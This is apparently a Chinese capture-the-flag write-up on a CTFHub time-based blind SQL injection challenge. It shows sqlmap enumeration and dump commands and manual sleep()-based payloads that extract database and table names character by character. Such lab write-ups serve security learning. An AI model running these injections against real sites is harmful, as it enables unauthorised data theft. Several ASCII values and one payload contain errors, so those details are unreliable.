解题方法:
方法一:用sqlmap直接跑
方法二:手注(不建议)
方法三:写py脚本
用sqlmap直接跑
首先来看看基本的sqlmap命令吧
sqlmap -u url --current-user #获取当前用户名称 :
sqlmap -u url --current-db #获取当前数据库名称
sqlmap -u url -D 数据库名 --tables #列出表名 :
sqlmap -u url -D 数据库名 -T 表名 --columns #列出字段
sqlmap -u url -D 数据库名 -T 表名 -C 字段名1,字段名2,…… --dump #获取字段内容
这里直接从获取库名开始了
打开sqlmap,输入命令:
sqlmap -u "http://challenge-1b076e041809ba5d.sandbox.ctfhub.com:10800/?id=1" --dbs
获取到的数据库有下面四个
其中前三个是mysql的配置库,显然我们应该爆第四个sqli
-D好像区分大小写,-d应该不行
sqlmap -u "http://challenge-1b076e041809ba5d.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
获得上面两个表,接下来拿flag中的列和值
sqlmap -u "http://challenge-6d8fb2b2657c0800.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns --dump
拿到flag。
手注(不建议)
首先看这个if(expr1,expr2,expr3)
含义是如果expr1是True,则返回expr2,否则返回expr3。
然后步骤如下:
1.猜数据库长度
2.猜数据库名
3.猜数据库的表数量
4.猜表名
5.列的数量
6.猜列长
7.猜列名
8.猜记录的条数
9.猜记录的长度
10.依次猜记录
这里用二分法猜测会比较快一点
1.猜数据库长度
1 and if(length(database())<10,sleep(3),1)#结果为真,二分,取5-10
1 and if(length(database())>5,sleep(3),1)#结果为假,取3-5
1 and if(length(database())>3,sleep(3),1)#为真,取4
1 and if(length(database())=4,sleep(3),1)#为真
页面3秒后响应的即为真
数据库长度为4
2.猜数据库名
随便找个点,ascii(n) 110 开始
substr(对象,开始点,截取长度)
1 and if(ascii(substr(database(),1,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),1,1))=115,sleep(3),1) #ascii(s)=115
1 and if(ascii(substr(database(),2,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),2,1))=113,sleep(3),1) #ascii(q)=113
1 and if(ascii(substr(database(),3,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),3,1))=1110,sleep(3),1) #ascii(l)=110
1 and if(ascii(substr(database(),4,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),4,1))=105,sleep(3),1) #ascii(i)=105
得到数据库名sqli
3.猜数据库的表数量
二分法慢慢试,得到是2张表
1 and if((select count(table_name) from information_schema.tables
where table_schema=database())=2,sleep(3),1)
4.猜表名
第一张表
1 and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))=110,sleep(3),1) #ascii(n)=110,第一张表的第一个字母
1 and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),2,1))=101,sleep(3),1) #ascii(e)=101,第一张表的第二个字母
1 and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),3,1))=119,sleep(3),1) #ascii(w)=119,第一张表的第3个字母
1 and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),4,1))=115,sleep(3),1) #ascii(s)=115,第一张表的第4个字母
news
第二张表
1 and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),1,1))=100,sleep(3),1) #ascii(f)=102,第2张表的第1个字母
依次改变截取开始点,得到表名flag
5678910参考:
点我